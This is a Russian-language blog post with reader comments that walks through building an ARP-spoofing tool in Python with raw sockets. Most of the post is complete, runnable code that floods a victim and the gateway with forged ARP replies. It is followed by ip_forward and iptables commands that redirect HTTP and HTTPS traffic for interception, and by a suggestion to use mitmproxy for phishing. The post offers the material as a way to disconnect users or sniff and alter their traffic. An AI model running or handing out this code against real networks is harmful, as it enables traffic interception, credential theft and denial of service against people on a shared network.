Реализация ARP-спуфинга на Python

    Введение


    В данной статье я бы хотел продемонстрировать то, как можно реализовать собственную программу ARP-спуфинга на Python. Реализаций уже тысячи, но почти все они с использованием библиотеки Scapy и пары методов. Возможно данную библиотеку использовать эффективнее, не спорю, но мне было интересно реализовать самому с помощью сокетов и я бы хотел поведать читателям о том, как это делается.

    Предполагается, что Вы уже знакомы с тем, как работает ARP-протокол и его недостатком, если нет, то советую прочитать вот эту статью.

    Я не являюсь высококвалифицированным специалистом Информационной Безопасности, поэтому прошу тапками не кидать, а любые неточности оговорить в комментариях.

    Немного теории


    Начнем с того, что код протокола — \x08\x06 и работает он на втором уровне OSI, то есть канальном.

    Затем необходимо ознакомиться с телом его пакета, чтобы знать, что отправлять. На википедии оно очень хорошо расписано:

    Тело пакета
    Hardware type (HTYPE)
    Каждый канальный протокол передачи данных имеет свой номер, который хранится в этом поле. Например, Ethernet имеет номер 0x0001.
    Protocol type (PTYPE)
    Код сетевого протокола. Например, для IPv4 будет записано 0x0800.
    Hardware length (HLEN)
    Длина физического адреса в байтах. Адреса Ethernet имеют длину 6 байт (0x06).
    Protocol length (PLEN)
    Длина логического адреса в байтах. IPv4 адреса имеют длину 4 байта (0x04).
    Operation
    Код операции отправителя: 0x0001 в случае запроса и 0x0002 в случае ответа.
    Sender hardware address (SHA)
    Физический адрес отправителя.
    Sender protocol address (SPA)
    Логический адрес отправителя.
    Target hardware address (THA)
    Физический адрес получателя. Поле пусто при запросе.
    Target protocol address (TPA)
    Логический адрес получателя.

    На первый взгляд может показаться сложно, но если разобраться, то проблем возникнуть не должно.
    И так, первое — Hardware Type (Тип Оборудование) у нас это Ethernet, значит код будет 0x0001 или \x00\x01, Protocol Type (Тип протокола) — IPv4, кодируется как \x08\x00; затем идут длина типа оборудования и протокола \x06\x04, а то есть 6 и 4 байтов.
    И на конце у нас код операции, который в случае запроса \x00\x01, а в случае ответ \x00\x02 и физические/логические адреса отправителя/получателя.

    Реализация


    В первую очередь необходимо объявить экземпляр сокета и задать необходимые параметры:

    import socket
    import time
    
    interface = "wlan0"  # Прослушиваемый сетевой интерфейс
    mac = b"\xbb\xbb\xbb\xbb\xbb\xbb"  # Наш MAC-адрес, он же bb:bb:bb:bb:bb:bb
    
    gateway_ip = socket.inet_aton("192.168.1.1")  # IP-адрес шлюза
    gateway_mac = b"\xaa\xaa\xaa\xaa\xaa\xaa"  # MAC-адрес шлюза
    
    victim_ip = socket.inet_aton("192.168.1.2")  # IP-адрес жертвы
    victim_mac = b"\xcc\xcc\xcc\xcc\xcc\xcc"  # MAC-адрес жертвы
    
    connect = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
    connect.bind((interface, socket.htons(0x0800)))

    Исходя из того, что ARP это протокол второго уровня OSI, мы используем первым параметром socket.PF_PACKET. Также для работы программы Вам будут нужны права root.

    Метод socket.htons() преобразовывает 16-битные натуральные числа в сетевой порядок байтов.

    Метод socket.inet_aton() преобразовывает IPv4 адреса в 32-битный двоичный формат.

    Также я объявил необходимые переменные.

    Следующий этап — формирование пакета:

    arp_code = b'\x08\x06'  # Код протокола
    htype = b'\x00\x01'  # Hardware Type
    ptype = b'\x08\x00'  # Protocol Type
    hlen = b'\x06'  # Hardware Length
    plen = b'\x04'  # Protocol Length
    operation = b'\x00\x02'  # Operation Code - Ответ
    
    protocol = htype + ptype + hlen + plen + operation  # Собранное тело
    
    # Две части пакетов ниже указывают от кого, кому и по какому протоколу отсылать данные
    eth_packet_1 = victim_mac + mac + arp_code
    eth_packet_2 = gateway_mac + mac + arp_code
    
    # Окончательные пакеты для жертвы и шлюза
    # 4 переменные после протокола это 4 последних значения из спойлера, которые мы не разобрали
    request_victim = eth_packet_1 + protocol + mac + gateway_ip + victim_mac + victim_ip
    request_gateway = eth_packet_2 + protocol + mac + victim_ip + gateway_mac + gateway_ip
    
    # Отправка поддельных пакетов
    while True:
        connect.send(request_victim)
        connect.send(request_gateway)
        time.sleep(1)
    

    Сейчас мы разобрали только саму программу, но если вы хотите не только отключать пользователей от шлюза, но и подменивать/нюхать пакеты, то для этого нужно будет включить переадресацию в ip_forward:

    echo 1 > /proc/sys/net/ipv4/ip_forward

    А также настроить маршрутизацию пакетов через iptables:

    iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
    iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080

    Если Вы хотите провести фишинг, то лучше всего подойдет утилита mitmproxy.
    Просмотреть проходящий через Вас трафик можно утилитой tcpdump.

    Также у себя на GitHub я опубликовал скрипт, предназначенный для отключения всех или некоторых узлов от шлюза — github.com/securityhigh/netbuster

    В результате написания программы я обнаружил, то что даже при коде операции 0x0001 (запрос) и со всеми параметрами из ответа(они немного отличаются), жертва все равно принимает пакет и меняет MAC-адрес в ARP-таблице, при этом стабильность атаки и стойкость этой записи значительно повышаются. Я предполагаю, что это еще один недостаток протокола, при котором сетевой интерфейс не игнорирует неверно составленный пакет, а обрабатывает его и перезаписывает таблицу.

    Similar posts

    Ads
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More

    Comments 4

      0

      Просто и доходчиво!

        0

        Можно упростить жизнь используя https://scapy.net/

          +4
          1: Капитан очевидность.
          Реализаций уже тысячи, но почти все они с использованием библиотеки Scapy и пары методов. Возможно данную библиотеку использовать эффективнее, не спорю, но мне было интересно реализовать самому с помощью сокетов и я бы хотел поведать читателям о том, как это делается.

          2: Что плохого в понимании того, как работает протокол и умении использовать его посредством сокетов?
            +1

            Слона то и не приметил. ;(
            Конечно полезно знать как создать с нуля.

        Only users with full accounts can post comments. Log in, please.